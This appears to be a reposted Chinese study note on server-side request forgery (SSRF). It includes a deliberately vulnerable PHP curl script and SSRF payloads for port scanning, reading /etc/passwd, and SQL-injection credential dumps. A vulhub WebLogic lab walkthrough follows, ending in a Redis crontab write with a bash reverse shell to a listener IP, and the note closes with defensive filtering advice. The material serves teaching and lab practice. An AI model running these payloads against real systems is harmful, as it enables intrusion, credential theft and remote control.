ssrf学习笔记总结

SSRF概述

​ 服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

​ 如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

​ SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

SSRF 场景

php实现

利用curl 实现,需要PHP 扩展组件curl 支持。

// ssrf_curl.php
if(isset($_REQUEST['url'])){$link = $_REQUEST['url'];$fileName = './curled/'.time().".txt";$curlObj = curl_init($link);$fp = fopen($fileName,'w');curl_setopt($curlObj,CURLOPT_FILE,$fp);curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header("Content-Type:image/png");}$fp = fopen($fileName,'r');$result = fread($fp,filesize($fileName));fclose($fp);echo $result;
}else{echo "?url=[url]";
}

SSRF 原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

SSRF危害

  • 端口扫描;

  • 内网Web 应用指纹识别;

  • 攻击内网应用;

  • 读取本地文件;

SSRF攻防

SSRF利用

文件访问

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

端口扫描

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

内网应用指纹识别

有些应用是部署在内网的。

<Directory "c:\www\phpMyAdmin">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
</Directory>

内网应用指纹识别

?url=http://127.0.0.1/phpmyadmin/readme

攻击内网web应用

内网安全通常都很薄弱。

<Directory "c:\www\cms">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
</Directory>

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_
users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

SSRF实例

https://vulhub.org/#/environments/weblogic/ssrf/

判断ssrf漏洞

访问

http://10.4.7.137:7001/uddiexplorer/

image-20231117144443232

漏洞存在于http://10.4.7.137:7001/uddiexplorer/SearchPublicRegistries.jsp

提交搜索并抓包

将此处url解码

image-20231117150146479

点击send发送

获取response,然后右键response发送给compare

image-20231117150311468

然后将url修改为百度,再次重复操作

image-20231117151225241

修改url后伪造服务器请求资源,并且收到response,即存在ssrf

探查内网端口开放情况

端口开放时,会返回404相关错误,虽然没有目录,但是能访问服务器

image-20231117151545430

使用localhost也可以

image-20231117151659744

端口未开放时则返回无法连接类错误

image-20231117151838296

探查内网ip

由于已知7001端口开放,因此可以用该端口探测内网中存活的ip

不存在时即返回无法连接

image-20231117152133486

探测内网地址可以使用爆破

从ssrf利用到redis未授权访问

由于这是容器,看一下redis的端口

image-20231117152730010

docker环境的网段一般是172

此处直接看一下配置文件看看ip

sudo docker ps -a

image-20231117160254922

sudo docker exec -it 8 /bin/bash

这个就是ip

image-20231117160340335

验证一下开放没

image-20231117160553260

发现开放

从redis未授权访问到getshell

将脚本写进去

set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/10.4.7.137/777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa

圈圈的地方要修改监听ip和监听端口

image-20231117161732114

将脚本文件url编码send,等待一会收到shell

image-20231117161645983

image-20231117161602941

SSRF防御

过滤输入

  • 限制协议,仅允许 http 或 https 协议;(防止使用gopher协议)

  • 限制IP,避免应用被用来获取内网数据,攻击内网;

  • 限制端口,限制请求端口为常用端口。

过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤;

  • 统一错误信息,让攻击无法对内网信息进行判断。

SSRF挖掘

web功能url关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/149184.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue如何开启gzip压缩

什么是gzip&#xff1a; Gzip 是一种压缩算法&#xff0c;在网络传输中使用非常普遍。 需要注意的是&#xff0c;Gzip 压缩仅对于文本类型的资源有明显提示&#xff0c;压缩后的体积大约是压缩前的 1/3。 但是对于图片&#xff0c;音视频等媒体资源&#xff0c;本身就采用了…

(八)、基于 LangChain 实现大模型应用程序开发 | 基于知识库的个性化问答 (检索 Retrieval)

检索增强生成&#xff08;RAG&#xff09;的整体工作流程如下&#xff1a; 在构建检索增强生成 (RAG) 系统时&#xff0c;信息检索是核心环节。检索是指根据用户的问题去向量数据库中搜索与问题相关的文档内容&#xff0c;当我们访问和查询向量数据库时可能会运用到如下几种技术…

2023年中国稀土精密加工分类、市场规模及发展趋势分析[图]

稀土精密加工行业是指通过精密加工技术对稀土材料进行加工、制造和加工成品的一种行业。稀土精密加工行业主要包括稀土材料的提取、分离、纯化、加工和制造等环节&#xff0c;其中加工和制造是该行业的核心环节。稀土材料是指具有特殊物理、化学和磁性等性质的一类元素&#xf…

Swagger笔记

一、导包 <!--引入swagger--> <dependency><groupId>io.springfox</groupId><artifactId>springfox-swagger2</artifactId><version>2.9.2</version> </dependency> <!--前端的UI界面--> <dependency><…

全局异常拦截和Spring Security认证异常的拦截的顺序

&#x1f4d1;前言 本文主要全局异常拦截和Spring Security认证异常的顺序&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是青衿&#x1f947; ☁️博客首页&#xff1a;CSDN主页放风讲故事 &#x1f304;每日…

Node.js黑马时钟案例(本人详细介绍实现过程)

先上没有使用node.js之前的html部分代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title></title><style>* {margin: 0;padding: 0;}html,body {height: 100%;overflow: hidden;backgrou…

3296:【例50.2】 计算书费《信息学奥赛一本通编程启蒙(C++版)》

3296&#xff1a;【例50.2】 计算书费《信息学奥赛一本通编程启蒙&#xff08;C版&#xff09;》 【题目描述】 下面是一个图书的单价表&#xff1a; 1、计算概论 28.9 元/本 2、数据结构与算法 32.7 元/本 3、数字逻辑 45.6 元/本 4、C程序设计教程 78 元/本 5、人工智能…

PHPStorm PHP-CS-Fixer

我用的是brew安装&#xff1a; brew install php-cs-fixer phpstorm配置&#xff1a; setting搜索fixer 指定安装php-cs-fixer的目录&#xff1a; https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/blob/master/doc/installation.rst 图文详解PHPStorm实现自动执行代码格式化-…

IC卡操作软件支持PN532

IC卡操作软件&#xff0c;在知道卡片密码的情况下&#xff0c;可以对卡片修改数据&#xff0c;格式化清卡&#xff0c;修改UID卡和CUID卡的卡号&#xff0c;锁UFUID卡等 卡片dump文件拖进软件&#xff0c;即可打开文件&#xff0c;编辑修改文件&#xff0c;写卡&#xff0c;就…

vue部署之后提示用户更新的两种方式(http请求和worker线程请求)

const { writeFile, mkdir, existsSync } require(fs) // 动态生成版本号 const createVersion () > {// mkdir(./dist, { recursive: true }, (err) > {//检测dist目录是否存在if (existsSync(./dist)) {writeFile(./dist/version.json, {"version":"$…

数据结构【DS】栈

共享栈 共享栈的目的是什么&#xff1f; 目的:有效利用存储空间。 共享栈的存取数据时间复杂度为&#xff1f; 存取数据时间复杂度为O(1) 共享栈如何判空&#xff1f;如何判满&#xff1f; 两个栈的栈顶指针都指向栈顶元素&#xff0c;&#x1d461;&#x1d45c;&#x1d45d;…

Ultipa Transporter V4.3.22 即将发布,解锁更多易用功能!

Ultipa Graph 作为一款领先的实时图数据库分析平台&#xff0c;即将发布最新版的数据导入/导出工具Ultipa Transporter V4.3.22 以实现对 Neo4j数据源的导入支持。自今年以来&#xff0c;Ultipa Transporter不断增加新功能&#xff0c;除原本支持本地CSV文件导入导出外&#xf…

【汇编】数据在哪里?有多长、div指令实现除法、dup设置内存空间

文章目录 前言一、汇编语言中数据位置的表达1.1 汇编中有哪几种数1.立即数&#xff08;idata&#xff09;&#xff1a;2.寄存器&#xff08;Register&#xff09;&#xff1a;3.内存&#xff08;Memory&#xff09;&#xff1a;4.段地址&#xff08;Segment Address&#xff0c…

Typescript 面试题及其答案与代码示例

1.什么是 TypeScript&#xff0c;它与 JavaScript 有何不同。 答&#xff1a;TypeScript 是 JavaScript 的超集&#xff0c;为该语言添加了静态类型。它允许开发人员定义变量、函数参数和返回值的数据类型&#xff0c;这有助于在编译时而不是运行时捕获错误。这是一个例子&…

2.4路由日志管理

2.4路由/日志管理 一、静态路由和动态路由 路由器在转发数据时&#xff0c;需要现在路由表中查找相应的路由&#xff0c;有三种途径 &#xff08;1&#xff09;直连路由&#xff1a;路由器自动添加和自己直连的路由 &#xff08;2&#xff09;静态路由&#xff1a;管理员手动…

GPT-4V-Act :一个多模态AI助手,能够像人类一样模拟通过鼠标和键盘进行网页浏览。

内容来源&#xff1a;xiaohuggg GPT-4V-Act &#xff1a;一个多模态AI助手&#xff0c;能够像人类一样模拟通过鼠标和键盘进行网页浏览。 它可以模拟人类浏览网页时的行为&#xff0c;如点击链接、填写表单、滚动页面等。 它通过视觉理解技术识别网页上的元素&#xff0c;就像…

微信小程序 官方文档使用指南

官方文档&#xff1a;https://developers.weixin.qq.com/miniprogram/dev/framework/ 触发事件 在wxml页面写逻辑代码js文件的调用 微信内部api

Git-概念与架构

GIT-概念与架构 一、背景和起源二、版本控制系统1.版本控制分类1.1 集中式版本控制1.2 分布式版本控制 2.Git和SVN对比2.1 SVN2.2 GIT 三、GIT框架1.工作区&#xff08;working directory&#xff09;2.暂存区&#xff08;staging area&#xff09;3.本地仓库&#xff08;local…

nvm:轻松管理多个 Node 版本 | 开源日报 No.80

nvm-sh/nvm Stars: 67.6k License: MIT Node Version Manager&#xff0c;是一个 POSIX 兼容的 bash 脚本&#xff0c;用于管理多个活动 node.js 版本。nvm 可以让你通过命令行快速安装和使用不同版本的 Node。它可以在任何符合 POSIX 标准的 shell&#xff08;sh、dash、ksh…

QFile文件读写操作QFileInFo文件信息读取

点击按钮选择路径&#xff0c;路径显示在lineEdit中 将路径下的文件的内容放在textEdit中 最后显示出来 &#xff01;file.atend()//没有读到文件尾就一直读 file.readline表示按行进行读 追加的方式进行写 要是重新写的话用file.open(QIODevice::write) 用QFileInFo来读取…